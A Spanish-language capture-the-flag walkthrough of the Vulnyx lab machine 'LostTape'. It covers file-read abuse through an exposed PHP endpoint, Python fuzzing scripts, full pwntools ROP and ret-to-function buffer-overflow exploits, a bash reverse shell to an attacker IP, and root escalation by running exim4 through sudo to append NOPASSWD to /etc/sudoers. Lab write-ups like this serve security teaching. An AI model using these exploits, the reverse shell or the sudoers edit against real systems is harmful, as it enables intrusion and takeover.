Lost Tape
Última actualización
Última actualización
Máquina LostTape de Vulnyx
LostTape
Medium
172.16.243.135
Comenzamos con un escaneo de nmap
para ver los puertos abiertos de la máquina:
nmap -p- --open --min-rate 5000 -sS -Pn -n -vvv 172.16.243.135 -oG allPorts
-p-
: Englobar el rango total de puertos (1-65535).
--open
: Mostrar solo los puertos que estén abiertos.
--min-rate 5000
: Enviar paquetes no mas lento que 5000 paquetes por segundo.
-sS
: Indicamos el modo de escaneo TCP SYN scan.
-Pn
: No aplicar descubrimiento de hosts.
-n
: No aplicar resolución DNS.
-oG
: Exportar el escaneo en un formato específico.
veremos 3 puertos abiertos, por lo que realizaremos un escaneo mas profundo pero solo a esos:
nmap -p22,80,65453 -sCV 172.16.243.135 -Pn -n -oN targeted
-sC
: Aplicar los scripts básicos de reconocimiento
-sV
: Identificar los servicios corren en los puertos y
-oN
: Exportarlo tal cual como se muestra por consola.
# Nmap 7.95 scan initiated Sun Jun 8 14:56:34 2025 as: nmap -p22,80,65453 -sCV -Pn -n -oN targeted 172.16.243.135
Nmap scan report for 172.16.243.135
Host is up (0.00051s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u6 (protocol 2.0)
| ssh-hostkey:
| 256 aa:3c:69:15:02:af:09:ff:e3:1e:f7:b7:a3:8b:c3:46 (ECDSA)
|_ 256 31:9b:3e:9b:f2:f6:29:00:f4:4a:93:aa:d8:e7:ba:5e (ED25519)
80/tcp open http Apache httpd 2.4.62 ((Debian))
| http-git:
| 172.16.243.135:80/.git/
| Git repository found!
| Repository description: Unnamed repository; edit this file 'description' to name the...
|_ Last commit message: commit
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: Apache/2.4.62 (Debian)
65453/tcp open unknown
| fingerprint-strings:
| DNSStatusRequestTCP:
| dom 08 jun 2025 14:56:51 -03
| Enter the password:
| DNSVersionBindReqTCP:
| dom 08 jun 2025 14:56:46 -03
| Enter the password:
| FourOhFourRequest, LDAPSearchReq, LPDString:
| dom 08 jun 2025 14:57:06 -03
| Enter the password: Incorrect password
| GenericLines:
| dom 08 jun 2025 14:56:35 -03
| Enter the password: Incorrect password
| GetRequest, HTTPOptions, RTSPRequest:
| dom 08 jun 2025 14:56:41 -03
| Enter the password: Incorrect password
| Help, Kerberos, SSLSessionReq, TLSSessionReq, TerminalServerCookie:
| dom 08 jun 2025 14:56:56 -03
| Enter the password: Incorrect password
| LDAPBindReq:
| dom 08 jun 2025 14:57:06 -03
| Enter the password:
| NULL:
| dom 08 jun 2025 14:56:35 -03
| Enter the password:
| RPCCheck:
| dom 08 jun 2025 14:56:41 -03
| Enter the password:
| SMBProgNeg:
| dom 08 jun 2025 14:56:56 -03
| Enter the password:
| X11Probe:
| dom 08 jun 2025 14:57:01 -03
|_ Enter the password:
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port65453-TCP:V=7.95%I=7%D=6/8%Time=6845CED9%P=x86_64-pc-linux-gnu%r(NU
SF:LL,31,"dom\x2008\x20jun\x202025\x2014:56:35\x20-03\nEnter\x20the\x20pas
SF:sword:\x20")%r(GenericLines,44,"dom\x2008\x20jun\x202025\x2014:56:35\x2
SF:0-03\nEnter\x20the\x20password:\x20Incorrect\x20password\n")%r(GetReque
SF:st,44,"dom\x2008\x20jun\x202025\x2014:56:41\x20-03\nEnter\x20the\x20pas
SF:sword:\x20Incorrect\x20password\n")%r(HTTPOptions,44,"dom\x2008\x20jun\
SF:x202025\x2014:56:41\x20-03\nEnter\x20the\x20password:\x20Incorrect\x20p
SF:assword\n")%r(RTSPRequest,44,"dom\x2008\x20jun\x202025\x2014:56:41\x20-
SF:03\nEnter\x20the\x20password:\x20Incorrect\x20password\n")%r(RPCCheck,3
SF:1,"dom\x2008\x20jun\x202025\x2014:56:41\x20-03\nEnter\x20the\x20passwor
SF:d:\x20")%r(DNSVersionBindReqTCP,31,"dom\x2008\x20jun\x202025\x2014:56:4
SF:6\x20-03\nEnter\x20the\x20password:\x20")%r(DNSStatusRequestTCP,31,"dom
SF:\x2008\x20jun\x202025\x2014:56:51\x20-03\nEnter\x20the\x20password:\x20
SF:")%r(Help,44,"dom\x2008\x20jun\x202025\x2014:56:56\x20-03\nEnter\x20the
SF:\x20password:\x20Incorrect\x20password\n")%r(SSLSessionReq,44,"dom\x200
SF:8\x20jun\x202025\x2014:56:56\x20-03\nEnter\x20the\x20password:\x20Incor
SF:rect\x20password\n")%r(TerminalServerCookie,44,"dom\x2008\x20jun\x20202
SF:5\x2014:56:56\x20-03\nEnter\x20the\x20password:\x20Incorrect\x20passwor
SF:d\n")%r(TLSSessionReq,44,"dom\x2008\x20jun\x202025\x2014:56:56\x20-03\n
SF:Enter\x20the\x20password:\x20Incorrect\x20password\n")%r(Kerberos,44,"d
SF:om\x2008\x20jun\x202025\x2014:56:56\x20-03\nEnter\x20the\x20password:\x
SF:20Incorrect\x20password\n")%r(SMBProgNeg,31,"dom\x2008\x20jun\x202025\x
SF:2014:56:56\x20-03\nEnter\x20the\x20password:\x20")%r(X11Probe,31,"dom\x
SF:2008\x20jun\x202025\x2014:57:01\x20-03\nEnter\x20the\x20password:\x20")
SF:%r(FourOhFourRequest,44,"dom\x2008\x20jun\x202025\x2014:57:06\x20-03\nE
SF:nter\x20the\x20password:\x20Incorrect\x20password\n")%r(LPDString,44,"d
SF:om\x2008\x20jun\x202025\x2014:57:06\x20-03\nEnter\x20the\x20password:\x
SF:20Incorrect\x20password\n")%r(LDAPSearchReq,44,"dom\x2008\x20jun\x20202
SF:5\x2014:57:06\x20-03\nEnter\x20the\x20password:\x20Incorrect\x20passwor
SF:d\n")%r(LDAPBindReq,31,"dom\x2008\x20jun\x202025\x2014:57:06\x20-03\nEn
SF:ter\x20the\x20password:\x20");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Jun 8 14:58:03 2025 -- 1 IP address (1 host up) scanned in 88.26 seconds
Tenemos algunas cosas interesantes:
nmap encontró un .git
en la web.
Hay un servicio desconocido que nos pide contraseña.
Como no tenemos la contraseña para el puerto 65453 pasaremos a la web.
Comenzaremos usando git-dumper
para descargar el repositorio .git
de la web:
git-dumper http://172.16.243.135/.git web
una vez termine, veremos una carpeta llamada 'web' que contiene el index.php
de la web, el cual si lo leemos veremos lo siguiente:
<?php
echo 'Welcome';
system($_GET["command_execute"]);
?>
esto significa que todo lo que pasemos por el método GET
usando el parámetro command_execute
se ejecutaría en el sistema, pero al probarlo vemos que no funciona:
❯ curl -s -X GET 'http://172.16.243.135/?command_execute=id'
Welcome
❯
viendo esto puede que sea un commit viejo por lo que esto no nos serviría de nada.
También podremos notar que cada vez que entramos en la web el código de estado es 500:
esto puede significar que la web si está esperando un parámetro, pero no sabemos cual, por lo que usaremos ffuf
para buscarlo:
ffuf -u 'http://172.16.243.135/?FUZZ=/etc/passwd' -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -fl 1
luego de esperar a que termine, no nos reporta nada, por lo que probaremos pasar el parámetro por POST
en vez de GET
, pero en mi caso con ffuf
no funcionó, por lo que lo hice con un script en python:
import requests
url = 'http://172.16.243.135/index.php'
with open("/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt", "r") as w:
for line in w:
line = line.strip()
data = {
f"{line}": "/etc/passwd"
}
r = requests.post(url, data=data)
response = r.text.replace("Welcome", "")
if response != "":
print(f"Parámetro {line} encontrado:\n {r.text}")
break
lo ejecutamos y vemos lo siguiente:
Parámetro file encontrado:
Welcomeroot:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin
messagebus:x:100:107::/nonexistent:/usr/sbin/nologin
sshd:x:101:65534::/run/sshd:/usr/sbin/nologin
maci:x:1000:1000:maci,,,:/home/maci:/bin/bash
Debian-exim:x:102:110::/var/spool/exim4:/usr/sbin/nologin
dk:x:1001:1001:dk,,,:/home/dk:/bin/bash
por lo que ya sabemos cual es el parámetro y vemos que nos permite leer archivos en vez de ejecutar comandos.
Si revisamos el código del index.php
veremos lo siguiente:
❯ curl -s -X POST 'http://172.16.243.135/' -d 'file=index.php'
Welcome<?php
echo 'Welcome';
$file = $_POST["file"];
echo file_get_contents($file);
?>
❯
como vemos nos muestra el contenido de los archivos con la función file_get_contents()
, por lo que no podremos usar scripts como php_filter_chain_generator
para ejecutar comandos ya que no lo hace con include()
y por lo tanto no servirá de nada. Pero lo que si podemos hacer es ver que procesos hay en la máquina, para esto también crearemos un script en python:
import requests
url = 'http://172.16.243.135/index.php'
for num in range(10000):
data = {
"file": f"/proc/{num}/cmdline"
}
r = requests.post(url, data=data)
response = r.text.replace("Welcome", "")
if response != "":
print(f"{num}: {response}")
lo ejecutamos y vemos los siguientes proceso:
1: /sbin/init
333: /lib/systemd/systemd-journald
356: /lib/systemd/systemd-udevd
384: /lib/systemd/systemd-timesyncd
386: /usr/bin/VGAuthService
387: /usr/bin/vmtoolsd
447: /lib/systemd/systemd-timesyncd
448: /usr/sbin/cron-f
449: /usr/bin/dbus-daemon--system--address=systemd:--nofork--nopidfile--systemd-activation--syslog-only
461: /usr/sbin/rsyslogd-n-iNONE
463: /lib/systemd/systemd-logind
472: /usr/sbin/rsyslogd-n-iNONE
473: /usr/sbin/rsyslogd-n-iNONE
474: /usr/sbin/rsyslogd-n-iNONE
507: dhclient-4-v-i-pf/run/dhclient.ens33.pid-lf/var/lib/dhcp/dhclient.ens33.leases-I-df/var/lib/dhcp/dhclient6.ens33.leasesens33
543: /usr/bin/vmtoolsd
544: /usr/bin/vmtoolsd
631: /sbin/agetty-o-p -- \u--noclear-linux
652: sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups
692: /usr/sbin/apache2-kstart
748: /usr/sbin/apache2-kstart
749: /usr/sbin/apache2-kstart
750: /usr/sbin/apache2-kstart
751: /usr/sbin/apache2-kstart
754: /usr/sbin/apache2-kstart
780: /usr/sbin/xinetd-pidfile/run/xinetd.pid-stayalive-inetd_compat-inetd_ipv6
935: /usr/sbin/exim4-bd-q30m
942: /usr/sbin/apache2-kstart
943: /usr/sbin/apache2-kstart
de todos estos el único que nos interesa es el de xinetd
, ya que nos da una pista. Pero primero:
¿Que es xinetd
?
xinetd
es un demonio de Internet (daemon) en sistemas Unix/Linux que funciona como un servidor de "supervisión" para gestionar otros servicios de red.
¿Cual es su función principal?
La función principal de
xinetd
es escuchar puertos de red en espera de conexiones entrantes, y cuando una conexión es solicitada en un puerto determinado, redirige la solicitud al servicio adecuado para que lo atienda.
Esto significa que xinetd
puede ser el servicio que escucha por el puerto 65453 pero lo redirige a otro, que no necesariamente es un servicio, si no un binario tal como puede ser bash
, ls
o uno personalizado. Sabiendo esto ¿Que podríamos hacer?; con esta información podríamos revisar todos los servicios gestionados por xinetd
, los cuales son un simple archivo de configuración individual en /etc/xinetd.d/
, por lo que haremos nuevamente un script en python que lo haga:
import requests
url = 'http://172.16.243.135/index.php'
with open("/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt", "r") as w:
for line in w:
line = line.strip()
data = {
"file": f"/etc/xinetd.d/{line}"
}
r = requests.post(url, data=data)
response = r.text.replace("Welcome", "")
if response != "":
print(f"/etc/xinetd.d/{line}:\n {response}")
lo ejecutamos y nos muestra lo siguiente:
/etc/xinetd.d/services:
# default: off
# description: An internal xinetd service, listing active services.
service services
{
type = INTERNAL UNLISTED
port = 9098
socket_type = stream
protocol = tcp
wait = no
disable = yes
only_from = 127.0.0.1
}
/etc/xinetd.d/servers:
# default: off
# description: An internal xinetd service, listing active servers.
service servers
{
type = INTERNAL UNLISTED
port = 9099
socket_type = stream
protocol = tcp
wait = no
disable = yes
only_from = 127.0.0.1
}
/etc/xinetd.d/time:
# default: off
# description: An RFC 868 time server. This protocol provides a
# site-independent, machine readable date and time. The Time service sends back
# to the originating source the time in seconds since midnight on January first
# 1900.
# This is the tcp version.
service time
{
disable = yes
type = INTERNAL
id = time-stream
socket_type = stream
protocol = tcp
user = root
wait = no
}
# This is the udp version.
service time
{
disable = yes
type = INTERNAL
id = time-dgram
socket_type = dgram
protocol = udp
user = root
wait = yes
}
/etc/xinetd.d/manager:
service manager_service
{
disable = no
socket_type = stream
protocol = tcp
wait = no
user = maci
server = /usr/sbin/manager
bind = 0.0.0.0
port = 65453
type = UNLISTED
}
el último servicio es el único que nos interesa, ya que este nos muestra cual es el binario que se ejecuta. Ahora guardaremos el binario para revisarlo:
curl -s -X POST 'http://172.16.243.135/' -d 'file=/usr/sbin/manager' -o manager
una vez guardado borraremos el 'Welcome' que queda en el comienzo del archivo, para esto se puede usar nano
,nvim
o cualquier editor de texto.
Una vez todo listo, ejecutamos file manager
y vemos lo siguiente:
manager: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=8755bb23d1a83b341a1fb84dc8974b44d3f328f0, for GNU/Linux 3.2.0, not stripped
esto nos dice que es un binario de 64bits. Si lo ejecutamos veremos que también nos pide una contraseña, por lo que podemos averiguarla usando ltrace
:
❯ ltrace ./manager
system("date"dom 08 jun 2025 16:03:07 -03
<no return ...>
--- SIGCHLD (Child exited) ---
<... system resumed> ) = 0
printf("Enter the password: ") = 20
fflush(0x7ffff7f815c0Enter the password: ) = 0
fgets(test
"test\n", 524, 0x7ffff7f808e0) = 0x7fffffffdac0
strcspn("test\n", "\n") = 4
strcmp("test", "S3cr3tP@ssw0rd123") = 33
puts("Incorrect password"Incorrect password
) = 19
fflush(0x7ffff7f815c0) = 0
exit(1 <no return ...>
+++ exited (status 1) +++
❯
como podemos ver, la contraseña que espera es 'S3cr3tP@ssw0rd123', por lo que podemos intentar ponerla:
❯ ./manager
dom 08 jun 2025 16:03:58 -03
Enter the password: S3cr3tP@ssw0rd123
Welcome!
1: Read file system
2: Write a suggestion
s: Exit
Choose an option: 1
Enter file path: /etc/host
The file could not be opened: No such file or directory
❯
como vemos funciona y podemos leer archivos del sistema, pero esto no nos sirve ya que lo podíamos hacer antes. Podemos ver la segunda opción:
❯ ./manager
dom 08 jun 2025 16:04:59 -03
Enter the password: S3cr3tP@ssw0rd123
Welcome!
1: Read file system
2: Write a suggestion
s: Exit
Choose an option: 2
Write your suggestion: test
Suggestion saved!
❯
esta opción nos pide un input, podemos intentar enviar mucho contenido para ver si se acontece un buffer overflow
:
❯ ./manager
dom 08 jun 2025 16:05:46 -03
Enter the password: S3cr3tP@ssw0rd123
Welcome!
1: Read file system
2: Write a suggestion
s: Exit
Choose an option: 2
Write your suggestion: AAAAAAAAAAA<SNIP>AAAAAAAA
Suggestion saved!
zsh: segmentation fault (core dumped) ./manager
❯
efectivamente, estamos frente un buffer overflow
.
Si revisamos las protecciones del binario veremos que solo tiene activado NX
:
Esto significa que el stack no es ejecutable, sin embargo las direcciones de la memoria no son aleatorias, no tiene canarios ni RELRO, por lo que nos quedan dos tipos posibles de buffer overflow por hacer:
ROP
Ret2libc
En este caso nos conviene realizar un Bof
de tipo ROP ya que es mas sencillo. Para empezar podríamos hacer la base de nuestro exploit:
from pwn import *
def main():
offset = ?
bin_sh = b'/bin/sh\x00'
junk = b"A"*offset
system_addr = ?
payload = junk + bin_sh + ? + system_addr + ?
host, port = '172.16.243.135', 65453
context.binary = './manager'
p = process("./manager")
p.sendline(b"S3cr3tP@ssw0rd123")
p.sendline(b"2")
p.sendline(payload)
p.recvall()
if __name__ == '__main__':
main()
por ahora solo nos faltaría buscar:
- [x] El offset
- [x] La dirección de system dentro del binario
- [ ] 2 gadgets o una función que nos permita hacer un ROP exitosamente
Para obtener el offset usaremos la herramienta pattern_create.rb
y pattern_offset.rb
de metasploit. Primero generaremos un pattern y lo pasaremos por gdb
:
pattern_create.rb -l 500
copiamos el output y ejecutamos gdb
:
gdb -q ./manager
En mi caso tengo pwndbg
Ahora lo ejecutamos, y al llegar a la parte vulnerable enviamos el pattern:
ahora usaremos pattern_offset.rb
para obtener el offset:
❯ pattern_offset.rb -q 0x41366c41356c4134
[*] Exact match at offset 344
❯
por lo que ya tenemos el offset y podemos actualizar el exploit:
from pwn import *
def main():
offset = 344 - 8 # Le restamos 8 ya que se le debe restar la cadena de '/bin/sh\x00'
bin_sh = b'/bin/sh\x00'
junk = b"A"*offset
system_addr = ?
payload = junk + bin_sh + ? + system_addr + ?
host, port = '172.16.243.135', 65453
context.binary = './manager'
p = process("./manager")
p.sendline(b"S3cr3tP@ssw0rd123")
p.sendline(b"2")
p.sendline(payload)
p.recvall()
if __name__ == '__main__':
main()
ahora vamos a obtener la direcciónn de system.
❯ objdump -D ./manager | grep 'system'
0000000000401050 <system@plt>:
401050: ff 25 4a 24 00 00 jmp *0x244a(%rip) # 4034a0 <system@GLIBC_2.2.5>
40137d: e8 ce fc ff ff call 401050 <system@plt>
❯
ya tenemos la dirección: 0x401050
y podemos actualizar el exploit:
from pwn import *
def main():
offset = 344 - 8 # Le restamos 8 ya que se le debe restar la cadena de '/bin/sh\x00'
bin_sh = b'/bin/sh\x00'
junk = b"A"*offset
system_addr = p64(0x401050)
payload = junk + bin_sh + ? + system_addr + ?
host, port = '172.16.243.135', 65453
context.binary = './manager'
p = process("./manager")
p.sendline(b"S3cr3tP@ssw0rd123")
p.sendline(b"2")
p.sendline(payload)
p.recvall()
if __name__ == '__main__':
main()
ahora debemos buscar una función o gadget que nos ayude.
Usaremos ghidra
para buscarlos.
En la función LTe
ya podemos ver algo útil:
vemos 2 instrucciones interesantes, la cuales son
MOV RDI,RSP
JMP R13
Esto nos interesa ya que la primer instrucción copia el contenido de RSP
(el tope de la pila) al registro RDI
, esto es interesante porque al llamar a system busca el primer valor que se encuentre en el registro rdi, rsi, rcx, rdx ,r9...
, por lo que cuando lleguemos al tope de la pila podremos meter nuestra cadena '/bin/sh' en el registro rdi
el cual posteriormente usará system. Luego vemos JMP R13
, lo cual nos sirve para poder llamar a system
ya que la función LTe
salta a r13
en el final, podemos buscar un gadget como pop r13
para cargar la dirección de system en el r13
y cuando la función LTe
sea llamada, ejecutará /bin/sh
correctamente.
pop r13
y la función LTe
Para obtener la dirección de la función es tan simple como hacerlo con objdump
:
❯ objdump -D ./manager | grep 'LTe'
00000000004011c6 <LTe>:
❯
por lo tanto la dirección sería 0x4011c6
.
Para obtener la dirección del gadget podemos usar ropper
:
y ya tenemos la dirección: 0x4011d7
. Ahora podemos terminar el exploit:
from pwn import *
def main():
offset = 344 - 8 # Le restamos 8 ya que se le debe restar la cadena de '/bin/sh\x00'
bin_sh = b'/bin/sh\x00'
junk = b"A"*offset
pop_r13 = p64(0x4011d7)
LTe = p64(0x4011c6)
system_addr = p64(0x401050)
payload = junk + bin_sh + pop_r13 + system_addr + LTe
host, port = '172.16.243.135', 65453
context.binary = './manager'
p = process("./manager")
p.sendline(b"S3cr3tP@ssw0rd123")
p.sendline(b"2")
p.sendline(payload)
p.interactive()
if __name__ == '__main__':
main()
lo ejecutamos y vemos lo siguiente:
como vemos, hemos logrado obtener una shell a través del buffer overflow. Ahora solo nos queda hacer que el exploit no se ejecute en local y se conecte al puerto remoto:
from pwn import *
def main():
offset = 344 - 8 # Le restamos 8 ya que se le debe restar la cadena de '/bin/sh\x00'
bin_sh = b'/bin/sh\x00'
junk = b"A"*offset
pop_r13 = p64(0x4011d7)
LTe = p64(0x4011c6)
system_addr = p64(0x401050)
payload = junk + bin_sh + pop_r13 + system_addr + LTe
host, port = '172.16.243.135', 65453
r = remote(host, port)
r.sendline(b"S3cr3tP@ssw0rd123")
r.sendline(b"2")
r.sendline(payload)
r.interactive()
if __name__ == '__main__':
main()
y al ejecutarlo estaremos dentro:
Ahora que estamos dentro, somos el usuario maci, pero nos enviaremos una shell para tener una shell totalmente interactiva:
bash -c 'bash -i >& /dev/tcp/172.16.243.1/443 0>&1'
escuchamos con netcat:
sudo nc -nvlp 443
y al enviar la shell podremos ver la flag de user:
Si ejecutamos sudo -l
veremos lo siguiente:
podemos ejecutar un binario llamado name
como el usuario dk
, vamos a revisarlo.
nuevamente, tenemos un binario vulnerable a buffer overflow.
Comenzaremos pasandolo a nuestra máquina local. Si ejecutamos file
y checksec
veremos que es un binario de 64 bits con las mismas protecciones que el anterior. Pero cuando lo revisamos con gdb
, veremos una función llamada future_function
, esta función no se llama nunca en el binario, pero si ejecutamos strings ./name
veremos lo siguiente:
Welcome to the future feature
/bin/bash
lo que significa que esa función probablemente ejecute /bin/bash
. Para llamar a la función es mucho mas simple:
import subprocess
import sys
import select
import os
from struct import pack
offset = 40
f_function = pack("<Q", 0x401167)
junk = b"A" * offset
payload = junk + f_function
def simple_interactive(proc, initial_input):
proc.stdin.write(initial_input)
proc.stdin.flush()
while True:
rlist, _, _ = select.select([proc.stdout, sys.stdin], [], [])
if proc.stdout in rlist:
data = os.read(proc.stdout.fileno(), 1024)
if not data:
break
sys.stdout.buffer.write(data)
sys.stdout.buffer.flush()
if sys.stdin in rlist:
user_input = os.read(sys.stdin.fileno(), 1024)
if not user_input:
break
proc.stdin.write(user_input)
proc.stdin.flush()
proc = subprocess.Popen(["sudo", "-u", "dk", "/usr/sbin/name"], stdin=subprocess.PIPE, stdout=subprocess.PIPE)
simple_interactive(proc, payload + b"\n")
la diferencia es que no tenemos pwntools para facilitarnos todo.
Una vez ejecutado veremos lo siguiente:
nuevamente nos enviaremos una shell.
Si ejecutamos sudo -l
veremos que podemos ejecutar exim4
como root. Luego de leer el manual, podemos ver una forma de ejecutar comandos:
sudo exim4 -be '${run{/bin/id}}'
dk@LostTape:~$ sudo exim4 -be '${run{/bin/id}}'
uid=0(root) gid=110(Debian-exim) groups=110(Debian-exim),0(root)
dk@LostTape:~$
por lo que crearemos un script en /tmp que nos deje ejecutar cualquier comando como root:
#!/bin/bash
echo 'dk ALL=(ALL:ALL) NOPASSWD: ALL' >> /etc/sudoers
le damos permisos de ejecución:
chmod 777 /tmp/privesc
y lo ejecutamos:
sudo exim4 -be '${run{/tmp/s}}'
luego podremos escalar a root ejecutando sudo su